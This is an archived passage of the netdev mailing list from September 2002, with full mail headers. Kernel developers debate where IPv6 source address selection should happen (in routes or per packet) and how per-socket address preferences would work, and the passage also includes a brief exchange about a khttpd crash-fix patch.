2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Fri, 27 Sep 2002 10:12:26 -0400 (EDT) whatever changes made should consider that there is more than one way to do things and people will always come with better ways to do certain portions of the packet path. Of course. From kuznet@ms2.inr.ac.ru Fri Sep 27 19:29:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 19:29:14 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S2T8tG028896 for ; Fri, 27 Sep 2002 19:29:09 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id GAA02633; Sat, 28 Sep 2002 06:28:29 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280228.GAA02633@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: davem@redhat.com (David S. Miller) Date: Sat, 28 Sep 2002 06:28:29 +0400 (MSD) Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020927.182833.66704359.davem@redhat.com> from "David S. Miller" at Sep 27, 2 06:28:33 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Otherwise I have no problems with the patch, Alexey? I have... The implementation is bad. Source address must be retieved from route, not running this elephant function each packet. Alexey From ak@suse.de Fri Sep 27 19:34:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 19:34:48 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S2YktG029309 for ; Fri, 27 Sep 2002 19:34:46 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 41258142B9; Sat, 28 Sep 2002 04:34:41 +0200 (MEST) Date: Sat, 28 Sep 2002 04:34:40 +0200 From: Andi Kleen To: kuznet@ms2.inr.ac.ru Cc: "David S. Miller" , yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection Message-ID: <20020928043440.A1435@wotan.suse.de> References: <20020927.182833.66704359.davem@redhat.com> <200209280228.GAA02633@sex.inr.ac.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200209280228.GAA02633@sex.inr.ac.ru> User-Agent: Mutt/1.3.22.1i X-archive-position: 372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Sat, Sep 28, 2002 at 06:28:29AM +0400, A.N.Kuznetsov wrote: > Hello! > > > Otherwise I have no problems with the patch, Alexey? > > I have... The implementation is bad. Source address must be retieved > from route, not running this elephant function each packet. So it just needs to be moved into ip_route_output, right ? -Andi From davem@redhat.com Fri Sep 27 19:52:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 19:52:49 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S2qitG029729 for ; Fri, 27 Sep 2002 19:52:45 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id TAA18562; Fri, 27 Sep 2002 19:35:41 -0700 Date: Fri, 27 Sep 2002 19:35:41 -0700 (PDT) Message-Id: <20020927.193541.89132835.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: "David S. Miller" In-Reply-To: <200209280228.GAA02633@sex.inr.ac.ru> References: <20020927.182833.66704359.davem@redhat.com> <200209280228.GAA02633@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sat, 28 Sep 2002 06:28:29 +0400 (MSD) > Otherwise I have no problems with the patch, Alexey? I have... The implementation is bad. Source address must be retieved from route, not running this elephant function each packet. This only runs at connect time, and when NULL fl->fl6_src is seen by ip6_build_xmit() (this means RAW,UDP,ICMP which must make these decisions anyways). Is there really so much computation to be saved by moving this to ipv6 route? From kuznet@ms2.inr.ac.ru Fri Sep 27 19:58:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 19:58:57 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S2wstG030106 for ; Fri, 27 Sep 2002 19:58:55 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id GAA02712; Sat, 28 Sep 2002 06:58:22 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280258.GAA02712@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: davem@redhat.com (David S. Miller) Date: Sat, 28 Sep 2002 06:58:22 +0400 (MSD) Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020927.193541.89132835.davem@redhat.com> from "David S. Miller" at Sep 27, 2 07:35:41 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > This only runs at connect time ... and also at ip6_build_xmit(). Connected dgram sockets are marginal. Alexey From davem@redhat.com Fri Sep 27 20:02:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 20:02:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S328tG030910 for ; Fri, 27 Sep 2002 20:02:08 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id TAA18661; Fri, 27 Sep 2002 19:55:07 -0700 Date: Fri, 27 Sep 2002 19:55:07 -0700 (PDT) Message-Id: <20020927.195507.87349906.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: "David S. Miller" In-Reply-To: <200209280258.GAA02712@sex.inr.ac.ru> References: <20020927.193541.89132835.davem@redhat.com> <200209280258.GAA02712@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sat, 28 Sep 2002 06:58:22 +0400 (MSD) > This only runs at connect time ... and also at ip6_build_xmit(). Connected dgram sockets are marginal. I said UDP/RAW. At least believe that I am this smart :-) Point is that current function is not tiny either, so improvement you suggest applies both to current code and code after Yoshi's change. From kuznet@ms2.inr.ac.ru Fri Sep 27 20:38:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 20:38:48 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S3citG031554 for ; Fri, 27 Sep 2002 20:38:44 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id HAA02810; Sat, 28 Sep 2002 07:38:09 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280338.HAA02810@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: davem@redhat.com (David S. Miller) Date: Sat, 28 Sep 2002 07:38:09 +0400 (MSD) Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020927.195507.87349906.davem@redhat.com> from "David S. Miller" at Sep 27, 2 07:55:07 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > suggest applies both to current code and code after Yoshi's change. This is wrong, unfortunately. The elimination of ipv6_get_saddr() was trivial before this patch (because of independance of preferred source on real destination, only on scope), the corresponding fix was withdrawn from 2.4 only for sake of this feature, pending as a well-known patch. Now I see retransmission of practicllay the same patch, which was deferred for improvement that time. Citing myself two years younger: > The first priority task is to eliminate address selection function. > > Without this odd feature it was easy and, in fact, address selection > patches forced me to withdraw the solution from kernel, because > it makes these hacks much more difficult. Alexey From davem@redhat.com Fri Sep 27 20:43:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 20:43:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S3h9tG031929 for ; Fri, 27 Sep 2002 20:43:09 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id UAA18938; Fri, 27 Sep 2002 20:36:07 -0700 Date: Fri, 27 Sep 2002 20:36:06 -0700 (PDT) Message-Id: <20020927.203606.32735488.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: "David S. Miller" In-Reply-To: <200209280338.HAA02810@sex.inr.ac.ru> References: <20020927.195507.87349906.davem@redhat.com> <200209280338.HAA02810@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Sat, 28 Sep 2002 07:38:09 +0400 (MSD) Now I see retransmission of practicllay the same patch, which was deferred for improvement that time. Ok, Yoshi please work Alexey to put source address selection into the right place and remove ipv6_get_saddr(). Alexey, I still am not clear, this belongs in the output routing logic right? You dance in circles talking about this patch, that patch, but what I cannot decode this into an answer to question of where source address selection belongs. From marcelo@conectiva.com.br Fri Sep 27 20:58:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 20:58:34 -0700 (PDT) Received: from perninha.conectiva.com.br (perninha.conectiva.com.br [200.250.58.156]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S3wPtG032416 for ; Fri, 27 Sep 2002 20:58:27 -0700 Received: from burns.conectiva (burns.conectiva [10.0.0.4]) by perninha.conectiva.com.br (Postfix) with SMTP id D7F48489CA for ; Sat, 28 Sep 2002 00:58:22 -0300 (BRT) Received: (qmail 30061 invoked by uid 0); 28 Sep 2002 03:59:29 -0000 Received: from freak.distro.conectiva (10.0.17.22) by burns.conectiva with SMTP; 28 Sep 2002 03:59:29 -0000 Date: Fri, 27 Sep 2002 23:06:06 -0300 (BRT) From: Marcelo Tosatti X-X-Sender: marcelo@freak.distro.conectiva To: dank@kegel.com Cc: netdev@oss.sgi.com, , Arjan van de Ven , Alan Cox Subject: Re: [PATCH] khttpd crash fix In-Reply-To: <200208200446.g7K4kso02198@kegel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcelo@conectiva.com.br Precedence: bulk X-list: netdev On Mon, 19 Aug 2002 dank@kegel.com wrote: > I've been using this patch for some time now; it fixes > a nasty oops in khttpd on smp, and adds crucial details to the doc. > Sure, khttpd is going away in 2.5, but 2.4 is stable, let's fix it there. > > I sent it multiple times to the author of khttpd and to the khttpd-users > mailing list, and even to linux-kernel; I received good comments > from khttpd-users but silence elsewhere. > In desperation, I finally read the MAINTAINERS file, and learned that there > is no official maintainer for khttpd, so here I am mailing it to the > 'mail patches to' address for General Networking Stuff. > > Any chance this could be blessed for transmission to Marcello for 2.4.20? I guess Arjan could take a look at the patch, since he is the maintainer. Arjan ? From marcelo@conectiva.com.br Fri Sep 27 21:02:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 21:02:13 -0700 (PDT) Received: from perninha.conectiva.com.br (perninha.conectiva.com.br [200.250.58.156]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S428tG000365 for ; Fri, 27 Sep 2002 21:02:10 -0700 Received: from burns.conectiva (burns.conectiva [10.0.0.4]) by perninha.conectiva.com.br (Postfix) with SMTP id B918748AE2 for ; Sat, 28 Sep 2002 01:02:06 -0300 (BRT) Received: (qmail 30522 invoked by uid 0); 28 Sep 2002 04:03:13 -0000 Received: from freak.distro.conectiva (10.0.17.22) by burns.conectiva with SMTP; 28 Sep 2002 04:03:13 -0000 Date: Fri, 27 Sep 2002 23:09:50 -0300 (BRT) From: Marcelo Tosatti X-X-Sender: marcelo@freak.distro.conectiva To: dank@kegel.com Cc: netdev@oss.sgi.com, , Arjan van de Ven , Alan Cox Subject: Re: [PATCH] khttpd crash fix In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcelo@conectiva.com.br Precedence: bulk X-list: netdev On Fri, 27 Sep 2002, Marcelo Tosatti wrote: > > > On Mon, 19 Aug 2002 dank@kegel.com wrote: > > > I've been using this patch for some time now; it fixes > > a nasty oops in khttpd on smp, and adds crucial details to the doc. > > Sure, khttpd is going away in 2.5, but 2.4 is stable, let's fix it there. > > > > I sent it multiple times to the author of khttpd and to the khttpd-users > > mailing list, and even to linux-kernel; I received good comments > > from khttpd-users but silence elsewhere. > > In desperation, I finally read the MAINTAINERS file, and learned that there > > is no official maintainer for khttpd, so here I am mailing it to the > > 'mail patches to' address for General Networking Stuff. > > > > Any chance this could be blessed for transmission to Marcello for 2.4.20? > > I guess Arjan could take a look at the patch, since he is the maintainer. Or rather, used to be. Anyway, I already got that fix on my tree thanks to Alan. Just /dev/null both mails ;) From kuznet@ms2.inr.ac.ru Fri Sep 27 21:20:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 21:20:11 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S4K4tG000807 for ; Fri, 27 Sep 2002 21:20:05 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id IAA02894; Sat, 28 Sep 2002 08:19:29 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280419.IAA02894@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: davem@redhat.com (David S. Miller) Date: Sat, 28 Sep 2002 08:19:29 +0400 (MSD) Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020927.203606.32735488.davem@redhat.com> from "David S. Miller" at Sep 27, 2 08:36:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Alexey, I still am not clear, this belongs in the output routing logic > right? ... > where source address selection belongs. Yes, it naturally belongs to the time when route is created. This is just extending ipv6 routing entry with a field to hold source address and, generally, making the same work as IPv4 does, with all the advantages, particularily capability to select preferred source address via routes set up by admin (RTA_PREFSRC attribute, "src" in "ip route add"). Alexey From yoshfuji@linux-ipv6.org Fri Sep 27 21:30:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 21:30:27 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S4UKtG001203 for ; Fri, 27 Sep 2002 21:30:21 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8S4UJ1o021982; Sat, 28 Sep 2002 13:30:19 +0900 Date: Sat, 28 Sep 2002 13:30:19 +0900 (JST) Message-Id: <20020928.133019.38287529.yoshfuji@linux-ipv6.org> To: kuznet@ms2.inr.ac.ru Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200209280419.IAA02894@sex.inr.ac.ru> References: <20020927.203606.32735488.davem@redhat.com> <200209280419.IAA02894@sex.inr.ac.ru> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <200209280419.IAA02894@sex.inr.ac.ru> (at Sat, 28 Sep 2002 08:19:29 +0400 (MSD)), kuznet@ms2.inr.ac.ru says: > This is just extending ipv6 routing entry with a field to hold > source address and, generally, making the same work as IPv4 does, > with all the advantages, particularily capability to select preferred > source address via routes set up by admin (RTA_PREFSRC attribute, > "src" in "ip route add"). we need per socket preference. can we do that with this? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From pekkas@netcore.fi Fri Sep 27 21:36:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 21:36:22 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S4aItG001597 for ; Fri, 27 Sep 2002 21:36:19 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g8S4Zvp08537; Sat, 28 Sep 2002 07:35:57 +0300 Date: Sat, 28 Sep 2002 07:35:57 +0300 (EEST) From: Pekka Savola To: kuznet@ms2.inr.ac.ru cc: "David S. Miller" , , , , Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection In-Reply-To: <200209280419.IAA02894@sex.inr.ac.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 382 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Sat, 28 Sep 2002 kuznet@ms2.inr.ac.ru wrote: > Hello! > > > Alexey, I still am not clear, this belongs in the output routing logic > > right? > ... > > where source address selection belongs. > > Yes, it naturally belongs to the time when route is created. > > This is just extending ipv6 routing entry with a field to hold > source address and, generally, making the same work as IPv4 does, > with all the advantages, particularily capability to select preferred > source address via routes set up by admin (RTA_PREFSRC attribute, > "src" in "ip route add"). Umm.. you sure? Isn't putting this logic to routes an oversimplification? Consider e.g. a dummy host which only have a few address (link-local, site-local, global; the last two /64's) and, basically, a default route (plus of course an interface routes for those /64's). When talking to other subnets within the site (ie. those not on the /64) one would have difficulties parsing the source address from the default route, as there would have to be at least two candidates there. Am I missing something obvious here? Alexey's approach should work in some simpler cases, but maybe not all (stuff that's network prefix -independent like home addresses, privacy addresses etc. would be different). -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From kuznet@ms2.inr.ac.ru Fri Sep 27 21:45:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 21:45:12 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S4j8tG001982 for ; Fri, 27 Sep 2002 21:45:09 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id IAA02959; Sat, 28 Sep 2002 08:44:29 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280444.IAA02959@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: yoshfuji@linux-ipv6.org (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Sat, 28 Sep 2002 08:44:29 +0400 (MSD) Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020928.133019.38287529.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 28, 2 01:30:19 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > we need per socket preference. What kind of? Some matching rules loaded to socket by user? Anyway, rules established by a particular client should be separate, it is just a generalization of bind()/IP{V6}_PKTINFO. I am not sure that it is really interesting though. Just now I cannot imagine what user can invent which is not covered by system-wide rules, bind() and IP{V6}_PKTINFO. Well, if you think more hairy scheme is interesting, feel free to implement this. Alexey From kuznet@ms2.inr.ac.ru Fri Sep 27 22:00:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 22:00:50 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S50itG002464 for ; Fri, 27 Sep 2002 22:00:45 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id JAA02974; Sat, 28 Sep 2002 09:00:08 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280500.JAA02974@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: pekkas@netcore.fi (Pekka Savola) Date: Sat, 28 Sep 2002 09:00:08 +0400 (MSD) Cc: davem@redhat.com, yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: from "Pekka Savola" at Sep 28, 2 07:35:57 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Isn't putting this logic to routes an oversimplification? Hmmm... I believed this logic is more complicated yet. :-) > route, as there would have to be at least two candidates there. ... > Am I missing something obvious here? Yes. You select some one of the candidates eventually, do not you? :-) And when you have some special preference for a subnet you create a route for it. > (stuff that's network prefix -independent I am sorry, I feel I do not understand what you mean. Alexey From pekkas@netcore.fi Fri Sep 27 22:25:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 22:25:25 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S5PItG003396 for ; Fri, 27 Sep 2002 22:25:19 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g8S5Oxi08959; Sat, 28 Sep 2002 08:24:59 +0300 Date: Sat, 28 Sep 2002 08:24:58 +0300 (EEST) From: Pekka Savola To: kuznet@ms2.inr.ac.ru cc: davem@redhat.com, , , , Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection In-Reply-To: <200209280500.JAA02974@sex.inr.ac.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Sat, 28 Sep 2002 kuznet@ms2.inr.ac.ru wrote: > > route, as there would have to be at least two candidates there. > ... > > Am I missing something obvious here? > > Yes. You select some one of the candidates eventually, do not you? :-) But can there be more candidates for one route, in which case one would run something similar to this algorithm then? Or would you have an already-sorted list of possible candidate addresses for each route in the order of preference? And recalculate always when address changes? Or..? > And when you have some special preference for a subnet you create > a route for it. This is IMO a wrong approach from user's perspective. Perhaps not if the algorithm was run and e.g. additional, temporary "address selection" routes were created by kernel. > > (stuff that's network prefix -independent > > I am sorry, I feel I do not understand what you mean. Hmm.. this depends on the interpretation of the concept above. If the list is refreshed always when addresses change or change state, this could perhaps work.. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From kuznet@ms2.inr.ac.ru Fri Sep 27 22:27:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 22:27:34 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S5RVtG003767 for ; Fri, 27 Sep 2002 22:27:32 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id JAA03028; Sat, 28 Sep 2002 09:26:57 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209280526.JAA03028@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: yoshfuji@linux-ipv6.org (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Sat, 28 Sep 2002 09:26:57 +0400 (MSD) Cc: usagi@linux-ipv6.org, davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20020928.141407.110833680.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 28, 2 02:14:07 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > we need per application (per socket) interface > for privacy extension (public address vs temporary address) and > mobile ip (home address vs care-of address). OK. It is natural user-friendly generalization of bind(). I do not see problems. Though, please, explain, to avoid misunderstanding. Let's take the second case for simplicity. Is that true that it is supposed to add to each application a switch "home or care-of"? This sound strange enough, taking into account that only a few of applications have switch sort of -b in openssh despite of age of plain bind() is equal to age of internet. :-) Alexey From kuznet@ms2.inr.ac.ru Fri Sep 27 22:38:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 22:38:17 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with 